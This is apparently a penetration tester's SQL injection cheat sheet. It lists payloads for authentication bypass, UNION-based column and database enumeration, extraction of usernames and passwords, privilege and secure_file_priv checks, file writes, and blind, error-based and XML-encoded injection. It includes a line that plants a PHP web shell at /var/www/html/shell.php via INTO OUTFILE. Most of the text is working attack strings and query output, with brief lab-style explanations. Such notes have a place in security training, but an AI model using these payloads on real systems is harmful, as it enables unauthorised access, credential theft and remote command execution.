'
''
`
``
,
"
""
/
//
\
\\
;
'--
' or "
-- or #
' OR '1
' OR 1 -- -
" OR "" = "
'+OR+1=1--
' OR 1=1--
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) --
# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2
1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
# Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--
======================================
# Hash comment
/* C-style comment
-- - SQL comment
;%00 Nullbyte
` Backtick
%00
/*…*/
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
@ variable local variable
@@ variable global
variable
Authentication Bypass
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
admin' or '1'='1
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/
Auth Bypass with comments
admin'--
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
Put spaces after --
admin')--
SELECT * FROM logins where (username='admin')
user' or id=5 ) -- test
SELECT * FROM logins WHERE (username='user' or id=5 ) -- test' AND id > 1) AND password = '******'
Header Injection
Union
MariaDB [employees]> select * from employees limit 5;
+--------+------------+------------+-------------+--------+------------+
| emp_no | birth_date | first_name | last_name | gender | hire_date |
+--------+------------+------------+-------------+--------+------------+
| 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 |
| 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 |
| 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 |
| 10004 | 1956-11-06 | Masanao | Rahimi | M | 1986-12-16 |
| 10005 | 1962-12-11 | Sanjay | Danlos | M | 1985-08-01 |
+--------+------------+------------+-------------+--------+------------+
5 rows in set (0.038 sec)
MariaDB [employees]> select * from departments limit 5;
+---------+------------------+
| dept_no | dept_name |
+---------+------------------+
| d009 | Customer Service |
| d005 | Development |
| d002 | Finance |
| d003 | Human Resources |
| d001 | Marketing |
+---------+------------------+
5 rows in set (0.022 sec)
MariaDB [employees]> select dept_no from departments union select emp_no from employees;
Detect number of columns - Using ORDER BY
' order by 1-- -
' order by 2-- -
Until we reach a number that returns an error
This means that this table has exactly 4 columns .
cn' UNION select 1,2,3,4-- -
While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.
We cannot place our injection at the beginning, or its output will not be printed.
cn' UNION select 1,@@version,3,4-- -
Detect number of columns - using NULL
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
Detect data type
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
If the column data type is not compatible with string data, the injected query will cause a database error, such as:
Conversion failed when converting the varchar value 'a' to data type int.
Database Enumeration
Fingerprinting
Payload
When to Use
Expected Output
Wrong Output
SELECT @@version
When we have full query output
MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1'
In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)
When we only have numeric output
1
Error with other DBMS
SELECT SLEEP(5)
Blind/No Output
Delays page response for 5 seconds and returns 0.
Will not delay response with other DBMS
Database type
Query
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
' UNION SELECT @@version--
Database
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+--------------------+
6 rows in set (0.01 sec)
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
Find the current database with the SELECT database() query
cn' UNION select 1,database(),2,3-- -
Tables
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.
cn' UNION select 1, username, password, 4 from dev.credentials-- -
'+UNION+SELECT+username,+password+FROM+users--
Retrieve multiple values with a single column - Oracle
' UNION SELECT username || '~' || password FROM users--
Reading Files
DB User
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
User Privileges
SELECT super_priv FROM mysql.user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
Y = yes, super_priv
If we had many users within the DBMS:
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
Other privileges:
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
FILE privilege is listed for our user, enabling us to read files and potentially even write files
To be able to write files to the back-end server using a MySQL database, we require three things:
User with FILE privilege enabled
MySQL global secure_file_priv variable not enabled
Write access to the location we want to write to on the back-end server
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
secure_file_priv value is empty, meaning that we can read/write files to any location.
SELECT * from users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
Tip: Advanced file exports utilize the 'FROM_BASE64("base64_data")' function in order to be able to write long/advanced files, including binary data.
Web Shell
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use load_file to read the server configuration, like Apache's configuration found at /etc/apache2/apache2.conf, Nginx's configuration at /etc/nginx/nginx.conf, or IIS configuration at %WinDir%\System32\Inetsrv\Config\ApplicationHost.config, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using this wordlist for Linux or this wordlist for Windows. Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
The second input causes a divide-by-zero erro
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Oracle DB
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Password Length
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Pasword value
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
'||(SELECT CASE WHEN SUBSTR(password,1,2)='da' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Etc.
Turn an otherwise blind SQL injection vulnerability into a visible one
CAST((SELECT example_column FROM example_table) AS int)
Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:
ERROR: invalid input syntax for type integer: "Example data"
' AND CAST((SELECT 1) AS int)--
# Username
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
# Password
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
Fragmented SQL Injection - two endpoints
Let’s take a look at an instance where the single quote is blacklisted or escaped from the command.
$username ="' or 1=1 --";$password ="qwerty123456";// . . .$query = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'";select * from users where username='\' or 1=1 -- ' or password='qwerty123456';
As you see in this example, because the single quote (‘) is escaped with a backslash, the payload does not work as intended by the hacker.
username: \password: or 1 # $query = select * from users where username='".$username."' and password='".$password."'";select * from users where username='\' or password=' or 1 # ';
The backslash neutralizes the following single quote. So the value for the username column will end with the single quote that comes right after password= (the end of the gray text). Doing so will eliminate the required password field from the command. Due to the or 1 command, the condition will always return ‘true’. The # (hash) will ignore the rest of the function, and you’ll be able to bypass the login control and login form.
SELECT file_priv FROM mysql.user WHERE user = 'netspi'
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'
XML-based SQL Injection
XML escape sequence to encode the S character in SELECT
<stockCheck>
<productId>123</productId>
<storeId>999 SELECT * FROM information_schema.tables</storeId>
</stockCheck>
With Hackvector: select the payload - right click - extensions - Hackvector - Encode - Hex Entities
<stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId></stockCheck>